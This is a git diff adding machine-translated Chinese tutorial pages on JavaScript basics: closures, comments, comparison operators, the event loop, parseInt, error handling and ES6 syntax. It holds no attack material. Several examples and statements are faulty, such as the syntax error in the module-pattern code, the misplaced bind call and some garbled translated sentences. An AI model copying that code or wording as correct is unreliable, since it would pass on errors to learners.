+闭包还可以帮助您管理全局命名空间，以避免与全局共享数据冲突。通常，所有全局变量都在项目中的所有脚本之间共享，这在构建中型到大型程序时肯定会给您带来很多麻烦。这就是为什么库和模块作者使用闭包来隐藏整个模块的方法和数据的原因。这称为模块模式，它使用立即调用的函数表达式，该函数表达式仅将某些功能导出到外部世界，从而显着减少了全局引用的数量。
+
+这是模块骨架的简短示例。
+
+```javascript
+var myModule = (function() = { 
+    let privateVariable = 'I am a private variable'; 
+ 
+    let method1 = function(){ console.log('I am method 1'); }; 
+    let method2 = function(){ console.log('I am method 2, ', privateVariable); }; 
+ 
+    return { 
+        method1: method1, 
+        method2: method2 
+    } 
+ }()); 
+ 
+ myModule.method1(); // I am method 1 
+ myModule.method2(); // I am method 2, I am a private variable 
+```
+
+闭包对于捕获“记住的”环境中包含的私有变量的新实例很有用，并且这些变量只能通过返回的函数来访问。
+
+### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)  
+[Javascript闭包](https://medium.freecodecamp.org/lets-learn-javascript-closures-66feb44f6a44)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/code-blocks/index.md b/client/src/guide/chinese/javascript/code-blocks/index.md
new file mode 100644
index 0000000000..e77694902f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/code-blocks/index.md
@@ -0,0 +1,35 @@
+---
+title: Code Block
+localeTitle: 代码块
+---
+## 介绍
+
+在计算机编程中， **块**或代码**块**是组合在一起的代码段。块由一个或多个声明和语句组成。允许创建块的编程语言（包括嵌套在其他块中的块）称为块结构编程语言。 JavaScript就是这样一种编程语言。
+
+JavaScript中的**块**语句用于对零个或多个语句进行分组。该块由一对花括号分隔。
+```
+{ 
+  statement_1; 
+  statement_2; 
+  ... 
+  statement_n; 
+ } 
+```
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/block)
+
+## 例子
+
+**块**语句通常与控制流语句一起使用（例如， `if...else` ， `for` ， `while` ）和函数。
+```
+while (x < 10) { 
+  x++; 
+ } 
+ 
+ function addnums(num1, num2) { 
+  var sum = 0; 
+  sum = num1 + num2; 
+  return sum; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/code-linting-in-javascript/index.md b/client/src/guide/chinese/javascript/code-linting-in-javascript/index.md
new file mode 100644
index 0000000000..bbe43cb3ad
--- /dev/null
+++ b/client/src/guide/chinese/javascript/code-linting-in-javascript/index.md
@@ -0,0 +1,25 @@
+---
+title: Code Linting
+localeTitle: 代码Linting
+---
+Linting是运行程序的过程，该程序分析代码中的程序和样式错误。 linting工具或linter标记或标记代码中的任何潜在错误，例如语法错误或拼写错误的变量名称。这可以节省时间并帮助您编写更好的代码。
+
+可以使用`npm`或其他包管理器安装`npm` 。可以通过传入文件从命令行使用Linters。 Linters也可用作工具的插件，有时它们直接集成到编辑器中。
+
+以下是一些流行的Javascript Linters：
+
+[JSLint的](http://www.javascriptlint.com/online_lint.php)
+
+[JSHint](http://jshint.com)
+
+[JSCS](http://jscs.info)
+
+[ESLint](http://eslint.org)
+
+#### 编辑Linters：
+
+*   可视代码：要安装eslint扩展，打开命令面板（View - > Command Palette ..或cmd + shift + p）并执行命令： ext install eslint
+
+#### 工具和插件
+
+[漂亮](https://prettier.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/comments/index.md b/client/src/guide/chinese/javascript/comments/index.md
new file mode 100644
index 0000000000..b6ffac9e95
--- /dev/null
+++ b/client/src/guide/chinese/javascript/comments/index.md
@@ -0,0 +1,87 @@
+---
+title: Comments
+localeTitle: 注释
+---
+## 注释
+
+程序员使用注释向其源代码添加提示，注释，建议或警告;它们对代码的实际输出没有影响。注释可以非常有助于解释您的代码应该或应该做什么的意图。
+
+在开始经常评论时，这总是最佳做法，因为它可以帮助那些阅读代码的人了解您的代码究竟打算做什么。
+
+JavaScript有两种在代码中分配注释的方法。
+
+第一种方式是`//`评论; `//`在同一行上的所有文字后面的注释。例如：
+
+```javascript
+function hello() { 
+  // This is a one line JavaScript comment 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+```
+
+第二种方式是`/* */` comment，它可以用于单行和多行注释。例如：
+
+```javascript
+function hello() { 
+  /* This is a one line JavaScript comment */ 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+```
+
+```javascript
+function hello() { 
+  /* This comment spans multiple lines. Notice 
+     that we don't need to end the comment until we're done. */ 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+```
+
+您还可以阻止执行Javascript代码，只需遵守这样的代码行：
+
+```javascript
+function hello() { 
+  /*console.log("Hello world!");*/ 
+ } 
+ hello(); 
+```
+
+#### 更多信息：
+
+[如何用JavaScript编写注释](https://www.digitalocean.com/community/tutorials/how-to-write-comments-in-javascript)
+
+### 许多IDE都带有键盘快捷键来注释掉行。
+
+1.  突出显示要评论的文本
+2.  Mac：推送命令（Apple Key）＆“/”
+3.  Windows：推送控制和“/”
+4.  您也可以通过执行相同的步骤来取消注释代码
+
+在许多代码编辑器中注释掉javascript部分的快捷方式是突出显示要注释掉的代码行，然后按`Cmd/Ctrl + /` 。
+
+注释对代码测试也非常有用，因为您可以阻止某个代码行/块运行
+
+```javascript
+function hello() { 
+  // The statement below is not going to get executed 
+  // console.log('hi') 
+  } 
+ hello(); 
+```
+
+```
+function hello() { 
+  // The statements below are not going to get executed 
+  /* 
+  console.log('hi'); 
+  console.log('code-test'); 
+  */ 
+ } 
+ hello(); 
+```
+
+#### 更多信息：
+
+*   [如何用JavaScript编写注释](https://www.digitalocean.com/community/tutorials/how-to-write-comments-in-javascript)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/comparison-operators/index.md b/client/src/guide/chinese/javascript/comparison-operators/index.md
new file mode 100644
index 0000000000..767ff03c21
--- /dev/null
+++ b/client/src/guide/chinese/javascript/comparison-operators/index.md
@@ -0,0 +1,195 @@
+---
+title: Comparison Operators
+localeTitle: 比较运算符
+---
+JavaScript具有**严格**和**类型转换**比较。
+
+*   严格比较（例如===）仅在操作数类型相同时才为真。
+    
+*   更常用的抽象比较（例如==）在进行比较之前将操作数转换为相同的Type。
+    
+*   对于关系抽象比较（例如，<=），操作数首先在比较之前转换为基元，然后转换为相同类型。
+    
+*   使用Unicode值基于标准词典排序比较字符串。
+    
+
+## 比较特点：
+
+*   当两个字符串在相应位置具有相同的字符序列，相同的长度和相同的字符时，它们严格相等。
+    
+*   当两个数字在数值上相等（具有相同的数值）时，两个数字严格相等。 NaN不等于任何东西，包括NaN。正负零彼此相等。
+    
+*   如果两个布尔操作数都为真或两者都为假，则它们严格相等。
+    
+*   对于严格或抽象的比较，两个不同的对象永远不会相等。
+    
+*   仅当操作数引用相同的Object时，才会使用比较Objects的表达式。
+    
+*   空和未定义类型严格等于它们自己并且抽象地彼此相等。
+    
+
+## 平等运营商
+
+### 平等（==）
+
+如果操作数**不是同一类型** ，则等于运算符会转换操作数，然后应用严格比较。如果**两个操作数都是对象** ，则JavaScript比较内部引用，当操作数引用内存中的同一对象时，这些内部引用相等。
+
+#### 句法
+```
+ x == y 
+```
+
+#### 例子
+```
+ 1   ==  1        // true 
+ "1"  ==  1        // true 
+ 1   == '1'       // true 
+ 0   == false     // true 
+ 0   == null      // false 
+ 
+   0   == undefined   // false 
+ null  == undefined   // true 
+```
+
+### 不平等（！=）
+
+如果操作数不相等，则不等运算符返回true。如果两个操作数**的类型不同** ，则JavaScript会尝试将操作数转换为适当的类型以进行比较。如果**两个操作数都是对象** ，则JavaScript比较内部引用，当操作数引用内存中的不同对象时，这些引用不相等。
+
+#### 句法
+```
+x != y 
+```
+
+#### 例子
+```
+1 !=   2     // true 
+ 1 !=  "1"    // false 
+ 1 !=  '1'    // false 
+ 1 !=  true   // false 
+ 0 !=  false  // false 
+```
+
+### 身份/严格平等（===）
+
+如果操作数严格相等**而没有类型转换，**则identity运算符返回true。
+
+#### 句法
+```
+x === y 
+```
+
+#### 例子
+```
+3 === 3   // true 
+ 3 === '3' // false 
+```
+
+### 非身份/严格不平等（！==）
+
+如果操作数**不相等和/或不是相同类型，则**非标识运算符返回true。
+
+#### 句法
+```
+x !== y 
+```
+
+#### 例子
+```
+3 !== '3' // true 
+ 4 !== 3   // true 
+```
+
+## 关系运算符
+
+### 大于运算符（>）
+
+如果左操作数大于右操作数，则大于运算符返回true。
+
+#### 句法
+```
+x > y 
+```
+
+#### 例子
+```
+4 > 3 // true 
+```
+
+### 运算符大于等于（> =）
+
+如果左操作数大于或等于右操作数，则大于或等于运算符返回true。
+
+#### 句法
+```
+x >= y 
+```
+
+#### 例子
+```
+4 >= 3 // true 
+ 3 >= 3 // true 
+```
+
+### 小于运算符（<）
+
+如果左操作数小于右操作数，则小于运算符返回true。
+
+#### 句法
+```
+x < y 
+```
+
+#### 例子
+```
+3 < 4 // true 
+```
+
+### 小于等于运算符（<=）
+
+如果左操作数小于或等于右操作数，则小于或等于运算符返回true。
+
+#### 句法
+```
+x <= y 
+```
+
+#### 例子
+```
+3 <= 4 // true 
+```
+
+_您可以在[MDN上](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)找到更多信息。_
+
+## 比较null和undefined
+
+当我们比较null和undefined时，我们会看到不同的行为。让我们通过示例检查不同的场景
+
+#### 示例 - 严格相等检查（===）
+
+console.log（null === undefined）; // O / P - 假
+
+Otuput是假的，这是正确的，因为我们知道“null”和“undefined”是不同的类型。
+
+#### 示例 - 非严格相等性检查（==）
+
+console.log（null == undefined）; // O / P： - 是的
+
+怎么样？这是因为“null”和“undefined”有一个特殊规则。由于它们在非严格检查（==）的情况下是相同的，但不等于任何其他值。
+
+如果我们使用比较运算符，如<，>，<=，> =等，则“null”和“undefined”将转换为数字，在这种情况下，“null”将变为0，“undefined”将为NaN。让我们检查一下这些例子。
+
+#### 示例 - 将null与0（零）进行比较
+
+console.log（null> 0）; // O / P - 假 console.log（null> = 0）; // O / P - 是的 console.log（null == 0）; // O / P - 假
+
+奇怪？根据第一个语句，null不大于0，并且从第二个语句中，null大于或等于0.因此，如果我们以数学方式思考并比较两个语句，则会得到null等于0的结果。 ，按照第三种说法，这不是真的。为什么？
+
+原因是“比较”和“平等检查”都以不同的方式起作用。 相比之下，“null / undefined”首先转换为数字，因此，在前两种情况下，“null”变为0，因此case1）（null> 0） - > false和case2）（null> = 0） - > true。 但是，在等式检查（==）中，“null / undefined”在没有任何转换的情况下工作，并且如上所述（特殊规则），在等式检查中，“null / undefined”仅相互等于并且不等于其他任何内容。因此（null == 0） - > false。
+
+#### 示例 - 将undefined与0（零）进行比较
+
+console.log（undefined> 0）; // O / P - 假 console.log（undefined> = 0）; // O / P - 假 console.log（undefined == 0）; // O / P - 假
+
+在这里，我们测试与null相同的情况，但结果又不同。为什么？
+
+原因如下。 在前两种情况下，我们将undefined与0进行比较，并且如上所述，比较undefined会转换为NaN。 NaN是一个特殊值，与任何数字相比总是返回false，这就是我们在前两种情况下输出为false的原因。 对于第三个陈述，原因与“null”中提到的相同。在等式检查中，“null / undefined”仅相互等于并且不等于其他任何内容。因此（undefined == 0） - > false。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/concurrency-model-and-event-loop/index.md b/client/src/guide/chinese/javascript/concurrency-model-and-event-loop/index.md
new file mode 100644
index 0000000000..6889b5c788
--- /dev/null
+++ b/client/src/guide/chinese/javascript/concurrency-model-and-event-loop/index.md
@@ -0,0 +1,66 @@
+---
+title: Concurrency Model and Event Loop
+localeTitle: 并发模型和事件循环
+---
+## 并发模型和事件循环
+
+Javascript运行时是单线程的，这意味着它可以一次执行一段代码。为了理解Javascript中的并发模型和事件循环，我们必须首先解决与之相关的一些常见术语。首先让我们了解什么是调用堆栈。
+
+调用堆栈是一种简单的数据结构，它记录了我们当前代码中的位置。因此，如果我们进入一个函数调用函数，它将被推送到调用堆栈，当我们从函数返回时，它会从堆栈中弹出。
+
+让我们用一个代码示例来理解调用栈 -
+
+```javascript
+function multiply(x,y) { 
+   return x * y; 
+ } 
+ 
+ function squared(n) { 
+     return multiply(n,n) 
+  } 
+ 
+ function printSquare(n) { 
+   return squared(n) 
+ } 
+ 
+ let numberSquared = printSquare(5); 
+ console.log(numberSquared); 
+```
+
+首先，当代码执行时，运行时将读取每个函数定义，但是当它到达调用第一个函数**printSquare（5）**的行时，它会将此函数推送到调用堆栈中。接下来，此函数将执行并在返回之前将遇到另一个函数**平方（n），**因此它将暂停其当前操作并将此函数推送到现有函数之上。它在这种情况下执行函数平方函数，最后遇到另一个函数**multiply（n，n），**因此它暂停当前执行并将此函数推入调用堆栈。函数 乘法执行，并以相乘的值返回。最后，平方函数返回并从堆栈弹出，然后与printSquare相同。最终的平方值被分配给numberSquared变量。我们再次遇到函数调用，在这种情况下它是一个console.log（）语句，因此运行时将其推送到执行它的堆栈，从而在控制台上打印平方数字。应该注意的是，在上述任何代码运行之前被推入堆栈的第一个函数是主函数，它在运行时被表示为“匿名函数”。
+
+因此，无论何时调用函数，它都会被推送到执行它的调用堆栈中。最后，当函数完成它的执行并且隐式或显式返回时，它将从堆栈中弹出。调用堆栈只记录函数执行的时间点。它跟踪当前正在执行的功能。
+
+现在我们知道Javascript可以一次执行一件事但是浏览器不是这样。浏览器拥有自己的一组API，如setTimeout，XMLHttpRequests，它们未在Javascript运行时中指定。事实上，如果你仔细查看V8的源代码，那么为谷歌Chrome浏览器提供支持的流行Javascript运行时，你将找不到任何定义。这是因为这些特殊的Web API存在于浏览器环境中而不是javascript环境中，你可以说这些apis引入了并发性。让我们看一个图来理解整个图片。
+
+![并发和事件循环模型](https://i.imgur.com/rnQEY7o.png)
+
+引入了更多术语
+
+**堆** - 它主要是分配对象的地方。
+
+**回调队列** - 这是一个存储所有回调的数据结构。因为它是一个队列所以元素是基于先进先出的FIFO处理的。
+
+**事件循环** - 这是所有这些事情汇集在一起​​的地方。事件循环简单地做的是检查调用堆栈，如果它是空的，这意味着堆栈中没有函数，它从最旧的回调来自 回调队列并将其推入调用堆栈，最终执行回调。
+
+让我们用代码示例来理解这一点 -
+
+```javascript
+console.log('hi'); 
+ 
+ setTimeout(function() { 
+     console.log('freecodeCamp') 
+ },5000); 
+ 
+ console.log('JS') 
+```
+
+当第一行执行时，它是一个console.log（），这是一个函数调用，这意味着这个函数被推入调用堆栈，在那里它执行打印'hi'到控制台，最后它被返回并从堆栈中弹出。然后，当运行时执行setTimeout（）时，它知道这是一个Web API，因此它将它交给浏览器来处理它的执行。浏览器启动计时器，然后JS运行时将setTimeout（）弹出堆栈。它遇到另一个console.log（）调用，所以它将它推入调用堆栈，消息'JS'被记录到控制台，然后它最终返回，所以最后一个console.log（）从堆栈中弹出。现在调用堆栈是空的。与此同时，虽然所有这一切都在计时器结束，即5秒后，浏览器继续并将回调函数推送到回调队列。接下来，事件循环检查调用堆栈是否空闲。由于它是自由的，它接受回调函数并再次将其推回到执行其中的代码的调用堆栈。再次在代码内部有一个console.log（）调用，所以这个函数进入堆栈的顶部执行，它将'freecodecamp'记录到控制台中，最后返回，这意味着它从堆栈中弹出，最后回调被弹出堆栈，我们完成了。
+
+为了更好地想象这一点，请使用Phillip Roberts- [Loupe Event Loop Visualizer来](http://latentflip.com/loupe/?code=!!!PGJ1dHRvbj5DbGljayBtZSE8L2J1dHRvbj4%3D)尝试这个工具
+
+#### 更多信息：
+
+[菲利普罗伯茨：无论如何，事件循环到底是什么？ | JSConf EU 2014](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
+
+[并发模型和事件循环MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/conditional-ternary-operators/index.md b/client/src/guide/chinese/javascript/conditional-ternary-operators/index.md
new file mode 100644
index 0000000000..4534224825
--- /dev/null
+++ b/client/src/guide/chinese/javascript/conditional-ternary-operators/index.md
@@ -0,0 +1,37 @@
+---
+title: Conditional Ternary Operators
+localeTitle: 条件三元运算符
+---
+## 条件三元运算符
+
+### 基本用法
+
+三元运算符是在表达式中编写if-else的紧凑方法。
+
+```js
+const thing = (condition) ? <if true> : <if false>; 
+```
+
+例如
+
+```js
+const cappedInput = input > 50 ? 50 : input // this will cap the input at 50 
+```
+
+### 否则，如果
+
+你也可以链接三元运算符，这样你就会有一个if-else if-else行为
+
+```js
+<first condition> ? <value if first true> 
+ : <second condition> ? <value if second is true> 
+ : <fallback value> 
+```
+
+> **专业提示** ：如您所见，您可以在多行上拆分三元运算符 例如
+```
+const wealth = housesOwned > 3 ? "rich" 
+             : housesOwned > 1 ? "nothing to complain" 
+             : "poor" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/converting-strings-to-numbers/index.md b/client/src/guide/chinese/javascript/converting-strings-to-numbers/index.md
new file mode 100644
index 0000000000..5b182337e1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/converting-strings-to-numbers/index.md
@@ -0,0 +1,99 @@
+---
+title: Converting Strings to Numbers
+localeTitle: 将字符串转换为数字
+---
+## 将字符串转换为数字
+
+`parseInt()`函数解析字符串参数并返回指定基数的整数（数学系统中的基数）。
+
+```js
+    parseInt(string, radix); 
+```
+
+### 参数
+```
+string 
+```
+
+要解析的值。如果`string`参数不是字符串，则将其转换为字符串（使用`ToString`抽象操作）。字符串参数中的前导空格被忽略。'= 基数 2到36之间的整数，表示上述字符串的基数（数学数字系统中的基数）。为人类常用的十进制数字系统指定`10` 。始终指定此参数以消除读者混淆并保证可预测的行为。当未指定基数时，不同的实现会产生不同的结果，通常将值默认为10。 返回值 从给定字符串解析的整数。如果第一个字符无法转换为数字，则返回`NaN` 。
+
+### 描述
+
+`parseInt`函数将其第一个参数转换为字符串，对其进行解析，并返回一个整数或`NaN` 。如果不是`NaN` ，则返回的值将是作为指定基数（基数）中的数字的第一个参数的整数。例如，10的基数表示从十进制数，8八进制，16十六进制等转换。对于大于`10`的基数，字母表中的字母表示大于9的数字。例如，对于十六进制数字（基数16），使用`A`到`F`
+
+如果`parseInt`遇到的字符不是指定基数中的数字，它会忽略它和所有后续字符，并返回解析到该点的整数值。 `parseInt`将数字截断为整数值。允许前导和尾随空格。
+
+由于某些数字在其字符串表示中包含`e`字符（例如`6.022e23` ），因此使用`parseInt`截断数值会在非常大或非常小的数字上使用时产生意外结果。 `parseInt`不应该用作`Math.floor()`的替代品。
+
+如果radix `undefined`或0（或不存在），则JavaScript假定以下内容：
+
+*   如果输入`string`以“0x”或“0X”开头，则基数为16（十六进制），并解析字符串的其余部分。
+*   如果输入`string`以“0”开头，则基数为八（八进制）或10（十进制）。究竟选择哪个基数是依赖于实现的。 ECMAScript 5指定使用10（十进制），但并非所有浏览器都支持此功能。因此，在使用parseInt时始终指定基数。
+*   如果输入`string`以任何其他值开头，则基数为10（十进制）。
+*   如果第一个字符无法转换为数字，则parseInt返回NaN。
+
+出于算术目的，NaN值不是任何基数中的数字。您可以调用isNaN函数来确定parseInt的结果是否为NaN。如果将NaN传递给算术运算，则运算结果也将是NaN。
+
+要将数字转换为特定基数中的字符串文字，请使用intValue.toString（radix）。
+
+### 例子
+
+使用`parseInt` 以下示例均返回`15` ：
+
+```js
+    parseInt(' 0xF', 16); 
+    parseInt(' F', 16); 
+    parseInt('17', 8); 
+    parseInt(021, 8); 
+    parseInt('015', 10);   // parseInt(015, 10); will return 15 
+    parseInt(15.99, 10); 
+    parseInt('15,123', 10); 
+    parseInt('FXX123', 16); 
+    parseInt('1111', 2); 
+    parseInt('15 * 3', 10); 
+    parseInt('15e2', 10); 
+    parseInt('15px', 10); 
+    parseInt('12', 13); 
+```
+
+以下示例均返回`NaN` ：
+
+```js
+    parseInt('Hello', 8); // Not a number at all 
+    parseInt('546', 2);   // Digits are not valid for binary representations 
+```
+
+以下示例都返回`-15` ：
+
+```js
+    parseInt('-F', 16); 
+    parseInt('-0F', 16); 
+    parseInt('-0XF', 16); 
+    parseInt(-15.1, 10) 
+    parseInt(' -17', 8); 
+    parseInt(' -15', 10); 
+    parseInt('-1111', 2); 
+    parseInt('-15e1', 10); 
+    parseInt('-12', 13); 
+```
+
+以下示例均返回`4` ：
+
+```js
+    parseInt(4.7, 10); 
+    parseInt(4.7 * 1e22, 10); // Very large number becomes 4 
+    parseInt(0.00000000000434, 10); // Very small number becomes 4 
+```
+
+以下示例返回`224` ：
+
+```js
+    parseInt('0e0', 16); 
+```
+
+#### 更多信息：
+
+[MDN上的parseInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
+
+*   [parseInt（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt)和[parseFloat（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat)尝试将字符串转换为数字（如果可能）。例如， `var x = parseInt("100"); // x = 100`
+*   [Number（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/number)将转换为值可以表示的数字。这包括自UTC时间1970年1月1日午夜以来的毫秒数，布尔值为1或0的日期，以及无法转换为可识别数字的值将变为NaN。这代表Not a Number，在技术上也是一个数字！
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/error-handling-and-try-catch-throw/index.md b/client/src/guide/chinese/javascript/error-handling-and-try-catch-throw/index.md
new file mode 100644
index 0000000000..6a23f27d96
--- /dev/null
+++ b/client/src/guide/chinese/javascript/error-handling-and-try-catch-throw/index.md
@@ -0,0 +1,156 @@
+---
+title: Error Handling and Try Catch Throw
+localeTitle: 错误处理和尝试抓住投掷
+---
+## 错误处理和尝试抓住投掷
+
+`try...catch..finally`语句标记要尝试的语句块，并指定响应，如果抛出异常。 `try`语句包含一个或多个语句，以及至少一个`catch`子句或`finally`子句，或两者。
+
+#### `try...catch` ：
+
+```javascript
+try { 
+   throw new Error('my error'); 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ 
+ // Output: 
+ // my error 
+```
+
+#### `try...finally` ：
+
+```javascript
+try { 
+   throw new Error('my error'); 
+ } 
+ finally { 
+  console.error('finally'); 
+ } 
+ 
+ // Output: 
+ // finally 
+```
+
+_注意：_当你没有`catch`到错误时，它实际上并没有被“ `catch` ”，即使执行了`finally`块。这意味着错误将继续到上面的`try`块（或主块）。
+
+#### `try...catch...finally` ：
+
+```javascript
+try { 
+   throw new Error('my error'); 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ finally { 
+  console.error('finally'); 
+ } 
+ 
+ // Output: 
+ // my error 
+ // finally 
+```
+
+典型用法：
+
+```javascript
+try { 
+   openFile(file); 
+   readFile(file) 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ finally { 
+  closeFile(file); 
+ } 
+```
+
+#### 嵌套`try...catch` ：
+
+你也可以：
+
+*   在`try`块中嵌入`try-catch`语句。
+*   向上抛出错误。
+
+```javascript
+try { 
+  try { 
+    throw new Error('my error'); 
+  } 
+  catch (e) { 
+    console.error('inner', e.message); 
+    throw e; 
+  } 
+  finally { 
+    console.log('finally'); 
+  } 
+ } 
+ catch (e) { 
+  console.error('outer', e.message); 
+ } 
+ 
+ // Output: 
+ // inner my error 
+ // finally 
+ // outer my error 
+```
+
+#### 错误类型
+
+##### 参考错误
+
+```javascript
+var x; 
+ try { 
+  x = y + 1;   // y cannot be referenced (used) 
+ } 
+ catch(err) { 
+  console.log(err.name, err.message); 
+ } 
+ // ReferenceError y is not defined 
+```
+
+##### 语法错误
+
+```javascript
+try { 
+    eval("alert('Hello)");   // Missing ' will produce an error 
+ } 
+ catch(err) { 
+    console.log(err.name,err.message); 
+ } 
+ // SyntaxError Invalid or unexpected token 
+```
+
+##### 输入错误
+
+```javascript
+var num = 1; 
+ try { 
+    num.toUpperCase();   // You cannot convert a number to upper case 
+ } 
+ catch(err) { 
+    console.log(err.name, err.message); 
+ } 
+ // TypeError num.toUpperCase is not a function 
+```
+
+##### URI错误
+
+```javascript
+try { 
+    decodeURI("%%%");   // You cannot URI decode these percent signs 
+ } 
+ catch(err) { 
+    console.log(err.name, err.message); 
+ } 
+ // URIError URI malformed 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try…catch) [W3S](https://www.w3schools.com/js/js_errors.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/arrow-functions/index.md b/client/src/guide/chinese/javascript/es6/arrow-functions/index.md
new file mode 100644
index 0000000000..d1cffd3023
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/arrow-functions/index.md
@@ -0,0 +1,61 @@
+---
+title: Arrow Functions
+localeTitle: 箭头功能
+---
+## 箭头功能
+
+ES6中的功能发生了一些变化。我的意思是语法。
+
+```javascript
+// Old Syntax 
+ function oldOne() { 
+ console.log("Hello World..!"); 
+ } 
+ 
+ // New Syntax 
+ var newOne = () => { 
+ console.log("Hello World..!"); 
+ } 
+```
+
+新语法可能会让人感到困惑。但我会尝试解释语法。 语法分为两部分。
+
+1.  var newOne =（）
+2.  \=> {}
+
+第一部分是声明一个变量并将函数（即）（）分配给它。它只是说变量实际上是一个函数。
+
+然后第二部分声明函数的正文部分。带有花括号的箭头部分定义了身体部位。
+
+参数的另一个例子：
+
+```javascript
+let NewOneWithParameters = (a, b) => { 
+ console.log(a+b); // 30 
+ } 
+ NewOneWithParameters(10, 20); 
+```
+
+当只有一个参数名称时，括号是可选的：
+
+```javascript
+let newOneWithOneParam = a => { 
+ console.log(a); 
+ } 
+```
+
+箭头功能的一个令人难以置信的优点是你不能重新绑定箭头功能。它将始终使用定义它的上下文进行调用。只需使用正常功能。
+
+```javascript
+// Old Syntax 
+ axios.get(url).then(function(response) { 
+  this.data = response.data; 
+ }).bind(this); 
+ 
+ // New Syntax 
+ axios.get(url).then(response => { 
+  this.data = response.data; 
+ }); 
+```
+
+我认为我不需要对此作出解释。这很简单。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/default-parameters/index.md b/client/src/guide/chinese/javascript/es6/default-parameters/index.md
new file mode 100644
index 0000000000..642b062038
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/default-parameters/index.md
@@ -0,0 +1,45 @@
+---
+title: Default Parameters
+localeTitle: 默认参数
+---
+## 默认参数
+
+如果您熟悉Ruby，Python等其他编程语言，那么默认参数对您来说并不陌生。
+
+默认参数是在声明函数时默认给出的参数。但是在调用函数时可以更改它的值。
+
+例
+```
+let Func = (a, b = 10) => { 
+ return a + b; 
+ } 
+ Func(20); // 20 + 10 = 30 
+```
+
+在上面的例子中，我们只传递一个参数。该函数使用默认参数并执行该函数。
+
+考虑另一个例子：
+```
+Func(20, 50); // 20 + 50 = 70 
+```
+
+在上面的示例中，该函数采用两个参数，第二个参数替换默认参数。
+
+考虑另一个例子：
+```
+let NotWorkingFunction = (a = 10, b) => { 
+ return a + b; 
+ } 
+ NotWorkingFunction(20); // NAN. Not gonna work. 
+```
+
+当您使用参数调用函数时，它们将按顺序分配。 （即）第一个值分配给第一个参数，第二个值分配给第二个参数，依此类推。
+
+在上面的例子中，值20被赋值给参数'a'而'b'没有任何值。所以我们没有得到任何输出。
+
+但，
+```
+NotWorkingFunction(20, 30); // 50; 
+```
+
+工作正常。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/destructuring/index.md b/client/src/guide/chinese/javascript/es6/destructuring/index.md
new file mode 100644
index 0000000000..c7ffb66820
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/destructuring/index.md
@@ -0,0 +1,65 @@
+---
+title: Destructuring Assignment
+localeTitle: 解构分配
+---
+## 解构分配
+
+Destructuring Assignment语法是一个Javascript表达式，可以从数组或对象中解压缩值或属性。
+
+假设您有一个包含名字和姓氏的数组，因为它是两个值，但您希望将这些值重新分配给更具描述性的值。您可以使用Destructuring来完成此任务。
+
+**ES5解构**
+
+```js
+var fullName = ["John", "Smith"]; 
+ var firstName = fullName[0]; 
+ var lastName = fullName[1]; 
+ 
+ console.log(firstName, lastName); // John Smith 
+```
+
+**ES6解构**
+
+```js
+const fullName = ["John", "Smith"]; 
+ const [firstName, lastName] = fullName; 
+ 
+ console.log(firstName, lastName); // John Smith 
+```
+
+上面的示例显示了使用ES6 Destructuring Assignment的好处。
+
+您还可以使用类似语法在对象上使用Destructuring
+
+```js
+const fullName = { first: "John", last: "Smith"}; 
+ const {first, last} = fullName; 
+ 
+ console.log(first, last); // John Smith 
+```
+
+对象解析分配略有不同，因为对象必须具有您要分配的名称的属性。因此，下面的代码不会按预期工作。
+
+```js
+const fullName = { first: "John", last: "Smith"}; 
+ const {firstName, lastName} = fullName; 
+ 
+ console.log(firstName, lastName); // undefined undefined 
+```
+
+您仍然可以使用以下语法获得所需的结果。
+
+```js
+const obj = {propertyName: value} 
+ {propertyName: desiredVariableName} = obj 
+```
+
+我们之前的例子将被重写如下：
+
+```js
+const fullName = { first: "John", last: "Smith"}; 
+ const {first: firstName, last: lastName} = fullName; 
+ 
+ console.log(firstName, lastName); // John Smith 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/es6/for-of/index.md b/client/src/guide/chinese/javascript/es6/for-of/index.md
new file mode 100644
index 0000000000..644763d80b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/es6/for-of/index.md
@@ -0,0 +1,99 @@
+---
+title: for-of loop
+localeTitle: for-of循环
+---
## for-of Loop
+
+for-of循环可用于迭代不是数组但可迭代的东西，如DOM集合，字符串，集合，参数或映射。
+
+```javascript
+const fruits = ['Orange','Apple','Grapes','Banana']; 
+ for (const fruit of fruits) 
+ { 
+    console.log(fruit); 
+ } 
+```
+
+上面的代码片段将返回上面数组中的项目。
+
+## 了解索引的for-of循环
+
